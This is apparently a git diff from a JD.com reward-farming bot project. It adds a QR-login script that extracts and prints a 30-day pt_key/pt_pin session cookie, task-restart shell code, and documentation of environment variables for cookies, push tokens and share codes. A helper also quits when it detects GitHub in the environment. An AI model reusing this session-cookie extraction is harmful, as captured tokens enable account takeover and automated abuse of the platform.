+if [ ! $CRZAY_JOY_COIN_ENABLE ]; then + echo "默认启用jd_crazy_joy_coin杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "默认jd_crazy_joy_coin重启完成" +else + if [ $CRZAY_JOY_COIN_ENABLE = "Y" ]; then + echo "配置启用jd_crazy_joy_coin,杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "配置jd_crazy_joy_coin重启完成" + else + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo "已配置不启用jd_crazy_joy_coin任务,仅杀掉" + fi +fi diff --git a/getJDCookie.js b/getJDCookie.js new file mode 100644 index 0000000..aab3518 --- /dev/null +++ b/getJDCookie.js @@ -0,0 +1,188 @@ +/** + * 扫码获取京东cookie,此方式得到的cookie有效期为30天 + * Modify from FanchangWang https://github.com/FanchangWang + */ +const $ = new Env('扫码获取京东cookie'); +const qrcode = require('qrcode-terminal'); +let s_token, cookies, guid, lsid, lstoken, okl_token, token +!(async () => { + await loginEntrance(); + await generateQrcode(); + await getCookie(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + // $.done(); + }) + + +function loginEntrance() { + return new Promise((resolve) => { + $.get(taskUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.headers = resp.headers; + $.data = JSON.parse(data); + await formatSetCookies($.headers, $.data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function generateQrcode() { + return new Promise((resolve) => { + $.post(taskPostUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.stepsHeaders = resp.headers; + data = JSON.parse(data); + token = data['token']; + // $.log('token', token) + + const setCookie = resp.headers['set-cookie'][0]; + okl_token = setCookie.substring(setCookie.indexOf("=") + 1, setCookie.indexOf(";")) + const url = 'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=' + token; + qrcode.generate(url, {small: true}); // 输出二维码 + console.log("请打开 京东APP 扫码登录(二维码有效期为3分钟)"); + console.log(`\n\n注:如扫描不到,请使用工具(例如在线二维码工具:https://cli.im)手动生成如下url二维码\n\n${url}\n\n`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function checkLogin() { + return new Promise((resolve) => { + const options = { + url: `https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=${token}&ou_state=0&okl_token=${okl_token}`, + body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, + headers: { + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + $.checkLoginHeaders = resp.headers; + // $.log(`errcode:${data['errcode']}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCookie() { + $.timer = setInterval(async () => { + const checkRes = await checkLogin(); + if (checkRes['errcode'] === 0) { + //扫描登录成功 + $.log(`扫描登录成功\n`) + clearInterval($.timer); + await formatCookie($.checkLoginHeaders); + $.done(); + } else if (checkRes['errcode'] === 21) { + $.log(`二维码已失效,请重新获取二维码重新扫描\n`); + clearInterval($.timer); + $.done(); + } else if (checkRes['errcode'] === 176) { + //未扫描登录 + } else { + $.log(`其他异常:${JSON.stringify(checkRes)}\n`); + clearInterval($.timer); + $.done(); + } + }, 1000) +} + +function formatCookie(headers) { + new Promise(resolve => { + let pt_key = headers['set-cookie'][1] + pt_key = pt_key.substring(pt_key.indexOf("=") + 1, pt_key.indexOf(";")) + let pt_pin = headers['set-cookie'][2] + pt_pin = pt_pin.substring(pt_pin.indexOf("=") + 1, pt_pin.indexOf(";")) + const cookie1 = "pt_key=" + pt_key + ";pt_pin=" + pt_pin + ";"; + + $.UserName = decodeURIComponent(cookie1.match(/pt_pin=([^; ]+)(?=;?)/) && cookie1.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.log(`京东用户:${$.UserName} Cookie获取成功,cookie如下:`); + $.log(`\n${cookie1}\n`); + resolve() + }) +} + +function formatSetCookies(headers, body) { + new Promise(resolve => { + s_token = body['s_token'] + guid = headers['set-cookie'][0] + guid = guid.substring(guid.indexOf("=") + 1, guid.indexOf(";")) + lsid = headers['set-cookie'][2] + lsid = lsid.substring(lsid.indexOf("=") + 1, lsid.indexOf(";")) + lstoken = headers['set-cookie'][3] + lstoken = lstoken.substring(lstoken.indexOf("=") + 1, lstoken.indexOf(";")) + cookies = "guid=" + guid + "; lang=chs; lsid=" + lsid + "; lstoken=" + lstoken + "; " + resolve() + }) +} + +function taskUrl() { + return { + url: `https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + } +} + +function taskPostUrl() { + return { + url: `https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=${s_token}&v=${Date.now()}&remember=true`, + body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/githubAction.md b/githubAction.md new file mode 100644 index 0000000..54199ec --- /dev/null +++ b/githubAction.md @@ -0,0 +1,135 @@ +## 环境变量说明 + +##### 京东(必须) + +| Name | 归属 | 属性 | 说明 | +| :---------: | :--: | ---- | ------------------------------------------------------------ | +| `JD_COOKIE` | 京东 | 必须 | 京东cookie,多个账号的cookie使用`&`隔开,例:`pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;`。具体获取参考[浏览器获取京东cookie教程](./backUp/GetJdCookie.md) 或者 [插件获取京东cookie教程](./backUp/GetJdCookie2.md) | + +##### 京东隐私安全 环境变量 + +| Name | 归属 | 属性 | 默认值 | 说明 | +| :-------------: | :---------: | :----: | :----: | ------------------------------------------------------------ | +| `JD_DEBUG` | 脚本打印log | 非必须 | true | 运行脚本时,是否显示log,默认显示。改成false表示不显示,注重隐私的人可以设置 JD_DEBUG 为false | +| `JD_USER_AGENT` | 京东 | 非必须 | | 自定义此库里京东系列脚本的UserAgent,不懂不知不会UserAgent的请不要随意填写内容。如需使用此功能建议填写京东APP的UA | + +##### 推送通知环境变量(目前提供`微信server酱`、`pushplus(推送加)`、`iOS Bark APP`、`telegram机器人`、`钉钉机器人`、`企业微信机器人`、`iGot`、`企业微信应用消息`等通知方式) + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :----------------------------------------------------------: | :----: | ------------------------------------------------------------ | +| `PUSH_KEY` | 微信server酱推送 | 非必须 | server酱的微信通知[官方文档](http://sc.ftqq.com/3.version),已兼容 [Server酱·Turbo版](https://sct.ftqq.com/) | +| `BARK_PUSH` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | IOS用户下载BARK这个APP,填写内容是app提供的`设备码`,例如:https://api.day.app/123 ,那么此处的设备码就是`123`,再不懂看 [这个图](icon/bark.jpg)(注:支持自建填完整链接即可) | +| `BARK_SOUND` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | bark推送声音设置,例如`choo`,具体值请在`bark`-`推送铃声`-`查看所有铃声` | +| `TG_BOT_TOKEN` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写自己申请[@BotFather](https://t.me/BotFather)的Token,如`10xxx4:AAFcqxxxxgER5uw` , [具体教程](./backUp/TG_PUSH.md) | +| `TG_USER_ID` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写[@getuseridbot](https://t.me/getuseridbot)中获取到的纯数字ID, [具体教程](./backUp/TG_PUSH.md) | +| `DD_BOT_TOKEN` | 钉钉推送 | 非必须 | 钉钉推送(`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需)[官方文档](https://developers.dingtalk.com/document/app/custom-robot-access) ,只需`https://oapi.dingtalk.com/robot/send?access_token=XXX` 等于`=`符号后面的XXX即可 | +| `DD_BOT_SECRET` | 钉钉推送 | 非必须 | (`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需) ,密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的`SECXXXXXXXXXX`等字符 , 注:钉钉机器人安全设置只需勾选`加签`即可,其他选项不要勾选,再不懂看 [这个图](icon/DD_bot.png) | +| `QYWX_KEY` | 企业微信机器人推送 | 非必须 | 密钥,企业微信推送 webhook 后面的 key [详见官方说明文档](https://work.weixin.qq.com/api/doc/90000/90136/91770) | +| `QYWX_AM` | 企业微信应用消息推送 | 非必须 | corpid,corpsecret,touser,agentid,素材库图片id [参考文档1](http://note.youdao.com/s/HMiudGkb) [参考文档2](http://note.youdao.com/noteshare?id=1a0c8aff284ad28cbd011b29b3ad0191)
素材库图片填0为图文消息, 填1为纯文本消息 | +| `IGOT_PUSH_KEY` | iGot推送 | 非必须 | iGot聚合推送,支持多方式推送,确保消息可达。 [参考文档](https://wahao.github.io/Bark-MP-helper ) | +| `PUSH_PLUS_TOKEN` | pushplus推送 | 非必须 | 微信扫码登录后一对一推送或一对多推送下面的token(您的Token) [官方网站](http://www.pushplus.plus/) | +| `PUSH_PLUS_USER` | pushplus推送 | 非必须 | 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码)注:(1、需订阅者扫描二维码 2、如果您是创建群组所属人,也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送),只填`PUSH_PLUS_TOKEN`默认为一对一推送 | +| `TG_PROXY_HOST` | Telegram 代理的 IP | 非必须 | 代理类型为 http。例子:http代理 http://127.0.0.1:1080 则填写 127.0.0.1 | +| `TG_PROXY_PORT` | Telegram 代理的端口 | 非必须 | 例子:http代理 http://127.0.0.1:1080 则填写 1080 | +| `TG_PROXY_AUTH` | Telegram 代理的认证参数 | 非必须 | 代理的认证参数 | +| `TG_API_HOST` | Telegram api自建的反向代理地址 | 非必须 | 例子:反向代理地址 http://aaa.bbb.ccc 则填写 aaa.bbb.ccc [简略搭建教程](https://shimo.im/docs/JD38CJDQtYy3yTd8/read) | + + +##### 互助码类环境变量 + +| Name | 归属 | 属性 | 需要助力次数/可提供助力次数 | 说明 | +| :-------------------------: | :----------------: | :----: | :-----------------------: | ------------------------------------------------------------ | +| `FRUITSHARECODES` | 东东农场
互助码 | 非必须 | 5/3 | 填写规则请看[jdFruitShareCodes.js](./jdFruitShareCodes.js)或见下方[互助码的填写规则](#互助码的填写规则) | +| `PETSHARECODES` | 东东萌宠
互助码 | 非必须 | 5/5 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `PLANT_BEAN_SHARECODES` | 种豆得豆
互助码 | 非必须 | 9/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DDFACTORY_SHARECODES` | 东东工厂
互助码 | 非必须 | 5/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DREAM_FACTORY_SHARE_CODES` | 京喜工厂
互助码 | 非必须 | 不固定/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDZZ_SHARECODES` | 京东赚赚
互助码 | 非必须 | 5/2 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDJOY_SHARECODES` | 疯狂的JOY
互助码 | 非必须 | 6/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `BOOKSHOP_SHARECODES` | 京东书店
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JD_CASH_SHARECODES` | 签到领现金
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDSGMH_SHARECODES` | 闪购盲盒
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDCFD_SHARECODES` | 京喜财富岛
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDHEALTH_SHARECODES` | 东东健康社区
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `CITY_SHARECODES` | 城城领现金
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | + +##### 控制脚本功能环境变量 + + +| Name | 归属 | 属性 | 说明 | +| :--------------------------: | :--------------------------: | :----: | ------------------------------------------------------------ | +| `JD_BEAN_STOP` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`自定义延迟签到,单位毫秒.默认分批并发无延迟,
延迟作用于每个签到接口,如填入延迟则切换顺序签到(耗时较长),
如需填写建议输入数字`1`,详见[此处说明](https://github.com/NobyDa/Script/blob/master/JD-DailyBonus/JD_DailyBonus.js#L93) | +| `JD_BEAN_SIGN_STOP_NOTIFY` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后不推送签到结果通知,默认推送,填`true`表示不发送通知 | +| `JD_BEAN_SIGN_NOTIFY_SIMPLE` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后推送签到结果简洁版通知,
默认推送签到简洁结果,填`true`表示推送简洁通知,[效果图](./icon/bean_sign_simple.jpg) | +| `PET_NOTIFY_CONTROL` | 东东萌宠
推送开关 | 非必须 | 控制京东萌宠是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `FRUIT_NOTIFY_CONTROL` | 东东农场
推送开关 | 非必须 | 控制京东农场是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_NOTIFY_CONTROL` | 京东领现金
推送开关 | 非必须 | 控制京东领现金是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_EXCHANGE` | 京东领现金
红包兑换京豆开关 | 非必须 | 控制京东领现金是否把红包兑换成京豆,
`false`为否,`true`为是(即:花费2元红包兑换200京豆,一周可换四次),默认为`false` | +| `DDQ_NOTIFY_CONTROL` | 点点券
推送开关 | 非必须 | 控制点点券是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JDZZ_NOTIFY_CONTROL` | 京东赚赚小程序
推送开关 | 非必须 | 控制京东赚赚小程序是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `MONEYTREE_NOTIFY_CONTROL` | 京东摇钱树
推送开关 | 非必须 | 控制京东摇钱树兑换0.07金贴后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JD_JOY_REWARD_NOTIFY` | 宠汪汪
兑换京豆推送开关 | 非必须 | 控制`jd_joy_reward.js`脚本是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOY_FEED_COUNT` | 宠汪汪喂食数量 | 非必须 | 控制`jd_joy_feedPets.js`脚本喂食数量,可以填的数字0,10,20,40,80,其他数字不可. | +| `JOY_HELP_FEED` | 宠汪汪帮好友喂食 | 非必须 | 控制`jd_joy_steal.js`脚本是否给好友喂食,`false`为否,`true`为是(给好友喂食) | +| `JOY_RUN_FLAG` | 宠汪汪是否赛跑 | 非必须 | 控制`jd_joy.js`脚本是否参加赛跑(默认参加双人赛跑),
`false`为否,`true`为是,脚本默认是`true` | +| `JOY_TEAM_LEVEL` | 宠汪汪
参加什么级别的赛跑 | 非必须 | 控制`jd_joy.js`脚本参加几人的赛跑,可选数字为`2`,`10`,`50`,
其中2代表参加双人PK赛,10代表参加10人突围赛,
50代表参加50人挑战赛(注:此项功能在`JOY_RUN_FLAG`为true的时候才生效),
如若想设置不同账号参加不同类别的比赛则用&区分即可(如下三个账号:`2&10&50`) | +| `JOY_RUN_NOTIFY` | 宠汪汪
宠汪汪赛跑获胜后是否推送通知 | 非必须 | 控制`jd_joy.js`脚本宠汪汪赛跑获胜后是否推送通知,
`false`为否(不推送通知消息),`true`为是(即:发送推送通知消息)
| +| `JOY_RUN_HELP_MYSELF` | 宠汪汪
赛跑自己账号内部互助 | 非必须 | 输入`true`为开启内部互助 | +| `JD_JOY_REWARD_NAME` | 宠汪汪
积分兑换多少京豆 | 非必须 | 目前可填值为`20`或者`500`,脚本默认`0`,`0`表示不兑换京豆 | +| `JOY_RUN_TOKEN` | 宠汪汪
赛跑token | 非必须 | 需自行抓包,宠汪汪小程序获取token,点击`发现`或`我的`,寻找`^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=`获取token | +| `MARKET_COIN_TO_BEANS` | 东东超市
兑换京豆数量 | 非必须 | 控制`jd_blueCoin.js`兑换京豆数量,
可输入值为`20`或者`1000`的数字或者其他商品的名称,例如`碧浪洗衣凝珠` | +| `MARKET_REWARD_NOTIFY` | 东东超市
兑换奖品推送开关 | 非必须 | 控制`jd_blueCoin.js`兑换奖品成功后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOIN_PK_TEAM` | 东东超市
自动参加PK队伍 | 非必须 | 每次pk活动参加作者创建的pk队伍,`true`表示参加,`false`表示不参加 | +| `SUPERMARKET_LOTTERY` | 东东超市抽奖 | 非必须 | 每天运行脚本是否使用金币去抽奖,`true`表示抽奖,`false`表示不抽奖 | +| `FRUIT_BEAN_CARD` | 东东农场
使用水滴换豆卡 | 非必须 | 东东农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),
`true`表示换豆(不浇水),`false`表示不换豆(继续浇水),脚本默认是浇水 | +| `UN_SUBSCRIBES` | jd_unsubscribe.js | 非必须 | 共四个参数,换行隔开.四个参数分别表示
`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关`,[具体使用往下看](#取关店铺环境变量的说明) | +| `JDJOY_HELPSELF` | 疯狂的JOY
循环助力 | 非必须 | 疯狂的JOY循环助力,`true`表示循环助力,`false`表示不循环助力,默认不开启循环助力。 | +| `JDJOY_APPLYJDBEAN` | 疯狂的JOY
京豆兑换 | 非必须 | 疯狂的JOY京豆兑换,目前最小值为2000京豆(详情请查看活动页面-提现京豆),
默认数字`0`不开启京豆兑换。 | +| `BUY_JOY_LEVEL` | 疯狂的JOY
